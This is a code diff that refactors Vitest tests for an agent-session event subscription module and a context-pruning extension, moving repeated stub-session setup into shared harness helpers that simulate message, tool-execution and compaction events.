.map((call) => call[0]?.data as Record<string, unknown> | undefined)
|
||||
.filter((value): value is Record<string, unknown> => Boolean(value));
|
||||
expect(payloads).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("skips agent events when cleaned text rewinds mid-stream", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, onAgentEvent } = createAgentEventHarness();
|
||||
|
||||
const onAgentEvent = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onAgentEvent,
|
||||
});
|
||||
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
handler?.({
|
||||
emit({ type: "message_start", message: { role: "assistant" } });
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: "MEDIA:" },
|
||||
});
|
||||
handler?.({
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: " https://example.com/a.png\nCaption" },
|
||||
});
|
||||
|
||||
const payloads = onAgentEvent.mock.calls
|
||||
.map((call) => call[0]?.data as Record<string, unknown> | undefined)
|
||||
.filter((value): value is Record<string, unknown> => Boolean(value));
|
||||
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
|
||||
expect(payloads).toHaveLength(1);
|
||||
expect(payloads[0]?.text).toBe("MEDIA:");
|
||||
});
|
||||
|
||||
it("emits agent events when media arrives without text", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, onAgentEvent } = createAgentEventHarness();
|
||||
|
||||
const onAgentEvent = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onAgentEvent,
|
||||
});
|
||||
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
handler?.({
|
||||
emit({ type: "message_start", message: { role: "assistant" } });
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: "MEDIA: https://example.com/a.png" },
|
||||
});
|
||||
|
||||
const payloads = onAgentEvent.mock.calls
|
||||
.map((call) => call[0]?.data as Record<string, unknown> | undefined)
|
||||
.filter((value): value is Record<string, unknown> => Boolean(value));
|
||||
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
|
||||
expect(payloads).toHaveLength(1);
|
||||
expect(payloads[0]?.text).toBe("");
|
||||
expect(payloads[0]?.mediaUrls).toEqual(["https://example.com/a.png"]);
|
||||
});
|
||||
|
||||
it("keeps unresolved mutating failure when an unrelated tool succeeds", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, subscription } = createToolErrorHarness("run-tools-1");
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run-tools-1",
|
||||
sessionKey: "test-session",
|
||||
});
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
emitToolRun({
|
||||
emit,
|
||||
toolName: "write",
|
||||
toolCallId: "w1",
|
||||
args: { path: "/tmp/demo.txt", content: "next" },
|
||||
});
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "write",
|
||||
toolCallId: "w1",
|
||||
isError: true,
|
||||
result: { error: "disk full" },
|
||||
});
|
||||
expect(subscription.getLastToolError()?.toolName).toBe("write");
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
emitToolRun({
|
||||
emit,
|
||||
toolName: "read",
|
||||
toolCallId: "r1",
|
||||
args: { path: "/tmp/demo.txt" },
|
||||
});
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "read",
|
||||
toolCallId: "r1",
|
||||
isError: false,
|
||||
result: { text: "ok" },
|
||||
});
|
||||
@@ -362,45 +315,23 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
});
|
||||
|
||||
it("clears unresolved mutating failure when the same action succeeds", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, subscription } = createToolErrorHarness("run-tools-2");
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run-tools-2",
|
||||
sessionKey: "test-session",
|
||||
});
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
emitToolRun({
|
||||
emit,
|
||||
toolName: "write",
|
||||
toolCallId: "w1",
|
||||
args: { path: "/tmp/demo.txt", content: "next" },
|
||||
});
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "write",
|
||||
toolCallId: "w1",
|
||||
isError: true,
|
||||
result: { error: "disk full" },
|
||||
});
|
||||
expect(subscription.getLastToolError()?.toolName).toBe("write");
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
emitToolRun({
|
||||
emit,
|
||||
toolName: "write",
|
||||
toolCallId: "w2",
|
||||
args: { path: "/tmp/demo.txt", content: "retry" },
|
||||
});
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "write",
|
||||
toolCallId: "w2",
|
||||
isError: false,
|
||||
result: { ok: true },
|
||||
});
|
||||
@@ -409,44 +340,22 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
});
|
||||
|
||||
it("keeps unresolved mutating failure when same tool succeeds on a different target", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, subscription } = createToolErrorHarness("run-tools-3");
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run-tools-3",
|
||||
sessionKey: "test-session",
|
||||
});
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
emitToolRun({
|
||||
emit,
|
||||
toolName: "write",
|
||||
toolCallId: "w1",
|
||||
args: { path: "/tmp/a.txt", content: "first" },
|
||||
});
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "write",
|
||||
toolCallId: "w1",
|
||||
isError: true,
|
||||
result: { error: "disk full" },
|
||||
});
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
emitToolRun({
|
||||
emit,
|
||||
toolName: "write",
|
||||
toolCallId: "w2",
|
||||
args: { path: "/tmp/b.txt", content: "second" },
|
||||
});
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "write",
|
||||
toolCallId: "w2",
|
||||
isError: false,
|
||||
result: { ok: true },
|
||||
});
|
||||
@@ -455,44 +364,22 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
});
|
||||
|
||||
it("keeps unresolved session_status model-mutation failure on later read-only status success", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
const { emit, subscription } = createToolErrorHarness("run-tools-4");
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run-tools-4",
|
||||
sessionKey: "test-session",
|
||||
});
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
emitToolRun({
|
||||
emit,
|
||||
toolName: "session_status",
|
||||
toolCallId: "s1",
|
||||
args: { sessionKey: "agent:main:main", model: "openai/gpt-4o" },
|
||||
});
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "session_status",
|
||||
toolCallId: "s1",
|
||||
isError: true,
|
||||
result: { error: "Model not allowed." },
|
||||
});
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
emitToolRun({
|
||||
emit,
|
||||
toolName: "session_status",
|
||||
toolCallId: "s2",
|
||||
args: { sessionKey: "agent:main:main" },
|
||||
});
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "session_status",
|
||||
toolCallId: "s2",
|
||||
isError: false,
|
||||
result: { ok: true },
|
||||
});
|
||||
@@ -501,20 +388,8 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
});
|
||||
|
||||
it("emits lifecycle:error event on agent_end when last assistant message was an error", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onAgentEvent = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
const { emit, onAgentEvent } = createAgentEventHarness({
|
||||
runId: "run-error",
|
||||
onAgentEvent,
|
||||
sessionKey: "test-session",
|
||||
});
|
||||
|
||||
@@ -525,10 +400,10 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
} as AssistantMessage;
|
||||
|
||||
// Simulate message update to set lastAssistant
|
||||
handler?.({ type: "message_update", message: assistantMessage });
|
||||
emit({ type: "message_update", message: assistantMessage });
|
||||
|
||||
// Trigger agent_end
|
||||
handler?.({ type: "agent_end" });
|
||||
emit({ type: "agent_end" });
|
||||
|
||||
// Look for lifecycle:error event
|
||||
const lifecycleError = onAgentEvent.mock.calls.find(
|
||||
@@ -536,6 +411,6 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
);
|
||||
|
||||
expect(lifecycleError).toBeDefined();
|
||||
expect(lifecycleError[0].data.error).toContain("API rate limit reached");
|
||||
expect(lifecycleError?.[0]?.data?.error).toContain("API rate limit reached");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,149 +1,101 @@
|
||||
import type { AssistantMessage } from "@mariozechner/pi-ai";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
function createBlockReplyHarness(blockReplyBreak: "message_end" | "text_end") {
|
||||
const { session, emit } = createStubSessionHarness();
|
||||
const onBlockReply = vi.fn();
|
||||
subscribeEmbeddedPiSession({
|
||||
session,
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak,
|
||||
});
|
||||
return { emit, onBlockReply };
|
||||
}
|
||||
|
||||
async function emitMessageToolLifecycle(params: {
|
||||
emit: (evt: unknown) => void;
|
||||
toolCallId: string;
|
||||
message: string;
|
||||
result: unknown;
|
||||
}) {
|
||||
params.emit({
|
||||
type: "tool_execution_start",
|
||||
toolName: "message",
|
||||
toolCallId: params.toolCallId,
|
||||
args: { action: "send", to: "+1555", message: params.message },
|
||||
});
|
||||
// Wait for async handler to complete.
|
||||
await Promise.resolve();
|
||||
params.emit({
|
||||
type: "tool_execution_end",
|
||||
toolName: "message",
|
||||
toolCallId: params.toolCallId,
|
||||
isError: false,
|
||||
result: params.result,
|
||||
});
|
||||
}
|
||||
|
||||
function emitAssistantMessageEnd(emit: (evt: unknown) => void, text: string) {
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text }],
|
||||
} as AssistantMessage;
|
||||
emit({ type: "message_end", message: assistantMessage });
|
||||
}
|
||||
|
||||
function emitAssistantTextEndBlock(emit: (evt: unknown) => void, text: string) {
|
||||
emit({ type: "message_start", message: { role: "assistant" } });
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: text },
|
||||
});
|
||||
emit({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_end" },
|
||||
});
|
||||
}
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("suppresses message_end block replies when the message tool already sent", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
});
|
||||
const { emit, onBlockReply } = createBlockReplyHarness("message_end");
|
||||
|
||||
const messageText = "This is the answer.";
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
toolName: "message",
|
||||
await emitMessageToolLifecycle({
|
||||
emit,
|
||||
toolCallId: "tool-message-1",
|
||||
args: { action: "send", to: "+1555", message: messageText },
|
||||
});
|
||||
|
||||
// Wait for async handler to complete
|
||||
await Promise.resolve();
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "message",
|
||||
toolCallId: "tool-message-1",
|
||||
isError: false,
|
||||
message: messageText,
|
||||
result: "ok",
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: messageText }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emitAssistantMessageEnd(emit, messageText);
|
||||
|
||||
expect(onBlockReply).not.toHaveBeenCalled();
|
||||
});
|
||||
it("does not suppress message_end replies when message tool reports error", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "message_end",
|
||||
});
|
||||
const { emit, onBlockReply } = createBlockReplyHarness("message_end");
|
||||
|
||||
const messageText = "Please retry the send.";
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_start",
|
||||
toolName: "message",
|
||||
await emitMessageToolLifecycle({
|
||||
emit,
|
||||
toolCallId: "tool-message-err",
|
||||
args: { action: "send", to: "+1555", message: messageText },
|
||||
});
|
||||
|
||||
// Wait for async handler to complete
|
||||
await Promise.resolve();
|
||||
|
||||
handler?.({
|
||||
type: "tool_execution_end",
|
||||
toolName: "message",
|
||||
toolCallId: "tool-message-err",
|
||||
isError: false,
|
||||
message: messageText,
|
||||
result: { details: { status: "error" } },
|
||||
});
|
||||
|
||||
const assistantMessage = {
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: messageText }],
|
||||
} as AssistantMessage;
|
||||
|
||||
handler?.({ type: "message_end", message: assistantMessage });
|
||||
emitAssistantMessageEnd(emit, messageText);
|
||||
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
it("clears block reply state on message_start", () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onBlockReply = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run",
|
||||
onBlockReply,
|
||||
blockReplyBreak: "text_end",
|
||||
});
|
||||
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: "OK" },
|
||||
});
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_end" },
|
||||
});
|
||||
const { emit, onBlockReply } = createBlockReplyHarness("text_end");
|
||||
emitAssistantTextEndBlock(emit, "OK");
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(1);
|
||||
|
||||
// New assistant message with identical output should still emit.
|
||||
handler?.({ type: "message_start", message: { role: "assistant" } });
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_delta", delta: "OK" },
|
||||
});
|
||||
handler?.({
|
||||
type: "message_update",
|
||||
message: { role: "assistant" },
|
||||
assistantMessageEvent: { type: "text_end" },
|
||||
});
|
||||
emitAssistantTextEndBlock(emit, "OK");
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,30 +1,15 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { onAgentEvent } from "../infra/agent-events.js";
|
||||
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
|
||||
|
||||
type StubSession = {
|
||||
subscribe: (fn: (evt: unknown) => void) => () => void;
|
||||
};
|
||||
import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
|
||||
|
||||
describe("subscribeEmbeddedPiSession", () => {
|
||||
it("waits for multiple compaction retries before resolving", async () => {
|
||||
const listeners: SessionEventHandler[] = [];
|
||||
const session = {
|
||||
subscribe: (listener: SessionEventHandler) => {
|
||||
listeners.push(listener);
|
||||
return () => {};
|
||||
},
|
||||
} as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"];
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session,
|
||||
const { emit, subscription } = createSubscribedSessionHarness({
|
||||
runId: "run-3",
|
||||
});
|
||||
|
||||
for (const listener of listeners) {
|
||||
listener({ type: "auto_compaction_end", willRetry: true });
|
||||
listener({ type: "auto_compaction_end", willRetry: true });
|
||||
}
|
||||
emit({ type: "auto_compaction_end", willRetry: true });
|
||||
emit({ type: "auto_compaction_end", willRetry: true });
|
||||
|
||||
let resolved = false;
|
||||
const waitPromise = subscription.waitForCompactionRetry().then(() => {
|
||||
@@ -34,30 +19,21 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
await Promise.resolve();
|
||||
expect(resolved).toBe(false);
|
||||
|
||||
for (const listener of listeners) {
|
||||
listener({ type: "agent_end" });
|
||||
}
|
||||
emit({ type: "agent_end" });
|
||||
|
||||
await Promise.resolve();
|
||||
expect(resolved).toBe(false);
|
||||
|
||||
for (const listener of listeners) {
|
||||
listener({ type: "agent_end" });
|
||||
}
|
||||
emit({ type: "agent_end" });
|
||||
|
||||
await waitPromise;
|
||||
expect(resolved).toBe(true);
|
||||
});
|
||||
|
||||
it("emits compaction events on the agent event bus", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const { emit } = createSubscribedSessionHarness({
|
||||
runId: "run-compaction",
|
||||
});
|
||||
const events: Array<{ phase: string; willRetry?: boolean }> = [];
|
||||
const stop = onAgentEvent((evt) => {
|
||||
if (evt.runId !== "run-compaction") {
|
||||
@@ -73,14 +49,9 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
});
|
||||
});
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
runId: "run-compaction",
|
||||
});
|
||||
|
||||
handler?.({ type: "auto_compaction_start" });
|
||||
handler?.({ type: "auto_compaction_end", willRetry: true });
|
||||
handler?.({ type: "auto_compaction_end", willRetry: false });
|
||||
emit({ type: "auto_compaction_start" });
|
||||
emit({ type: "auto_compaction_end", willRetry: true });
|
||||
emit({ type: "auto_compaction_end", willRetry: false });
|
||||
|
||||
stop();
|
||||
|
||||
@@ -92,25 +63,13 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
});
|
||||
|
||||
it("rejects compaction wait with AbortError when unsubscribed", async () => {
|
||||
const listeners: SessionEventHandler[] = [];
|
||||
const abortCompaction = vi.fn();
|
||||
const session = {
|
||||
isCompacting: true,
|
||||
abortCompaction,
|
||||
subscribe: (listener: SessionEventHandler) => {
|
||||
listeners.push(listener);
|
||||
return () => {};
|
||||
},
|
||||
} as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"];
|
||||
|
||||
const subscription = subscribeEmbeddedPiSession({
|
||||
session,
|
||||
const { emit, subscription } = createSubscribedSessionHarness({
|
||||
runId: "run-abort-on-unsubscribe",
|
||||
sessionExtras: { isCompacting: true, abortCompaction },
|
||||
});
|
||||
|
||||
for (const listener of listeners) {
|
||||
listener({ type: "auto_compaction_start" });
|
||||
}
|
||||
emit({ type: "auto_compaction_start" });
|
||||
|
||||
const waitPromise = subscription.waitForCompactionRetry();
|
||||
subscription.unsubscribe();
|
||||
@@ -123,24 +82,14 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
});
|
||||
|
||||
it("emits tool summaries at tool start when verbose is on", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onToolResult = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
const toolHarness = createSubscribedSessionHarness({
|
||||
runId: "run-tool",
|
||||
verboseLevel: "on",
|
||||
onToolResult,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_start",
|
||||
toolName: "read",
|
||||
toolCallId: "tool-1",
|
||||
@@ -154,7 +103,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
const payload = onToolResult.mock.calls[0][0];
|
||||
expect(payload.text).toContain("/tmp/a.txt");
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_end",
|
||||
toolName: "read",
|
||||
toolCallId: "tool-1",
|
||||
@@ -165,24 +114,15 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
expect(onToolResult).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
it("includes browser action metadata in tool summaries", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onToolResult = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
const toolHarness = createSubscribedSessionHarness({
|
||||
runId: "run-browser-tool",
|
||||
verboseLevel: "on",
|
||||
onToolResult,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_start",
|
||||
toolName: "browser",
|
||||
toolCallId: "tool-browser-1",
|
||||
@@ -201,24 +141,15 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
});
|
||||
|
||||
it("emits exec output in full verbose mode and includes PTY indicator", async () => {
|
||||
let handler: ((evt: unknown) => void) | undefined;
|
||||
const session: StubSession = {
|
||||
subscribe: (fn) => {
|
||||
handler = fn;
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
const onToolResult = vi.fn();
|
||||
|
||||
subscribeEmbeddedPiSession({
|
||||
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
|
||||
const toolHarness = createSubscribedSessionHarness({
|
||||
runId: "run-exec-full",
|
||||
verboseLevel: "full",
|
||||
onToolResult,
|
||||
});
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_start",
|
||||
toolName: "exec",
|
||||
toolCallId: "tool-exec-1",
|
||||
@@ -232,7 +163,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
expect(summary.text).toContain("Exec");
|
||||
expect(summary.text).toContain("pty");
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_end",
|
||||
toolName: "exec",
|
||||
toolCallId: "tool-exec-1",
|
||||
@@ -247,7 +178,7 @@ describe("subscribeEmbeddedPiSession", () => {
|
||||
expect(output.text).toContain("hello");
|
||||
expect(output.text).toContain("```txt");
|
||||
|
||||
handler?.({
|
||||
toolHarness.emit({
|
||||
type: "tool_execution_end",
|
||||
toolName: "read",
|
||||
toolCallId: "tool-read-1",
|
||||
|
||||
@@ -78,6 +78,40 @@ function makeUser(text: string): AgentMessage {
|
||||
return { role: "user", content: text, timestamp: Date.now() };
|
||||
}
|
||||
|
||||
type ContextHandler = (
|
||||
event: { messages: AgentMessage[] },
|
||||
ctx: ExtensionContext,
|
||||
) => { messages: AgentMessage[] } | undefined;
|
||||
|
||||
function createContextHandler(): ContextHandler {
|
||||
let handler: ContextHandler | undefined;
|
||||
const api = {
|
||||
on: (name: string, fn: unknown) => {
|
||||
if (name === "context") {
|
||||
handler = fn as ContextHandler;
|
||||
}
|
||||
},
|
||||
appendEntry: (_type: string, _data?: unknown) => {},
|
||||
} as unknown as ExtensionAPI;
|
||||
|
||||
contextPruningExtension(api);
|
||||
if (!handler) {
|
||||
throw new Error("missing context handler");
|
||||
}
|
||||
return handler;
|
||||
}
|
||||
|
||||
function runContextHandler(
|
||||
handler: ContextHandler,
|
||||
messages: AgentMessage[],
|
||||
sessionManager: unknown,
|
||||
) {
|
||||
return handler({ messages }, {
|
||||
model: undefined,
|
||||
sessionManager,
|
||||
} as unknown as ExtensionContext);
|
||||
}
|
||||
|
||||
describe("context-pruning", () => {
|
||||
it("mode off disables pruning", () => {
|
||||
expect(computeEffectiveSettings({ mode: "off" })).toBeNull();
|
||||
@@ -281,32 +315,8 @@ describe("context-pruning", () => {
|
||||
makeAssistant("a2"),
|
||||
];
|
||||
|
||||
let handler:
|
||||
| ((
|
||||
event: { messages: AgentMessage[] },
|
||||
ctx: ExtensionContext,
|
||||
) => { messages: AgentMessage[] } | undefined)
|
||||
| undefined;
|
||||
|
||||
const api = {
|
||||
on: (name: string, fn: unknown) => {
|
||||
if (name === "context") {
|
||||
handler = fn as typeof handler;
|
||||
}
|
||||
},
|
||||
appendEntry: (_type: string, _data?: unknown) => {},
|
||||
} as unknown as ExtensionAPI;
|
||||
|
||||
contextPruningExtension(api);
|
||||
|
||||
if (!handler) {
|
||||
throw new Error("missing context handler");
|
||||
}
|
||||
|
||||
const result = handler({ messages }, {
|
||||
model: undefined,
|
||||
sessionManager,
|
||||
} as unknown as ExtensionContext);
|
||||
const handler = createContextHandler();
|
||||
const result = runContextHandler(handler, messages, sessionManager);
|
||||
|
||||
if (!result) {
|
||||
throw new Error("expected handler to return messages");
|
||||
@@ -343,31 +353,8 @@ describe("context-pruning", () => {
|
||||
}),
|
||||
];
|
||||
|
||||
let handler:
|
||||
| ((
|
||||
event: { messages: AgentMessage[] },
|
||||
ctx: ExtensionContext,
|
||||
) => { messages: AgentMessage[] } | undefined)
|
||||
| undefined;
|
||||
|
||||
const api = {
|
||||
on: (name: string, fn: unknown) => {
|
||||
if (name === "context") {
|
||||
handler = fn as typeof handler;
|
||||
}
|
||||
},
|
||||
appendEntry: (_type: string, _data?: unknown) => {},
|
||||
} as unknown as ExtensionAPI;
|
||||
|
||||
contextPruningExtension(api);
|
||||
if (!handler) {
|
||||
throw new Error("missing context handler");
|
||||
}
|
||||
|
||||
const first = handler({ messages }, {
|
||||
model: undefined,
|
||||
sessionManager,
|
||||
} as unknown as ExtensionContext);
|
||||
const handler = createContextHandler();
|
||||
const first = runContextHandler(handler, messages, sessionManager);
|
||||
if (!first) {
|
||||
throw new Error("expected first prune");
|
||||
}
|
||||
@@ -379,10 +366,7 @@ describe("context-pruning", () => {
|
||||
}
|
||||
expect(runtime.lastCacheTouchAt).toBeGreaterThan(lastTouch);
|
||||
|
||||
const second = handler({ messages }, {
|
||||
model: undefined,
|
||||
sessionManager,
|
||||
} as unknown as ExtensionContext);
|
||||
const second = runContextHandler(handler, messages, sessionManager);
|
||||
expect(second).toBeUndefined();
|
||||
});
|
||||
|
||||
|
||||
@@ -25,6 +25,36 @@ vi.mock("./pi-tools.before-tool-call.js", () => ({
|
||||
runBeforeToolCallHook: hookMocks.runBeforeToolCallHook,
|
||||
}));
|
||||
|
||||
function createReadTool() {
|
||||
return {
|
||||
name: "read",
|
||||
label: "Read",
|
||||
description: "reads",
|
||||
parameters: {},
|
||||
execute: vi.fn(async () => ({ content: [], details: { ok: true } })),
|
||||
} satisfies AgentTool<unknown, unknown>;
|
||||
}
|
||||
|
||||
function enableAfterToolCallHook() {
|
||||
hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call");
|
||||
}
|
||||
|
||||
